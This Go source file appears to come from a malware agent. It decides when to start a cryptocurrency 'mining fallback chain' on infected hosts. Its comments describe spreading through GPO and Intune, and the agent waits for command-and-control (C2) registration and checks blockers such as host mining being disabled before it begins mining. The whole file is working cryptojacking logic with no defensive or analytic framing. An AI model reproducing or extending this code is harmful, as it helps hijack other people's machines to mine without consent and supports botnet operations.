package client import ( "context" "log" "strings" "time" ) // MiningDiagnosticsReady reports whether the agent may start the mining fallback chain. // Spread/GPO/Intune agents defer mining until C2 registration succeeds and hard blockers clear. func MiningDiagnosticsReady(d MiningDiagnostics) bool { if d.ChainExhausted { return false } if d.HostMiningDisabled && !d.ContainerRunning { return false } if !d.C2Connected { return false } for _, b := range d.LikelyBlockers { lower := strings.ToLower(b) if strings.Contains(lower, "chain exhausted") || strings.Contains(lower, "host mining disabled") { return false } } return true } // startMiningWhenReady waits for diagnostics pass (or timeout) before launching the chain. func (c *AgentClient) startMiningWhenReady(ctx context.Context) { const maxWait = 120 * time.Second deadline := time.Now().Add(maxWait) ticker := time.NewTicker(5 * time.Second) defer ticker.Stop() tryStart := func(reason string) { log.Printf("[mining] %s — starting fallback chain", reason) c.miningChain.Start(ctx) } for { if MiningDiagnosticsReady(c.collectMiningDiagnostics()) { tryStart("diagnostics pass") return } if time.Now().After(deadline) { tryStart("diagnostics wait timeout") return } select { case <-ctx.Done(): return case <-ticker.C: } } }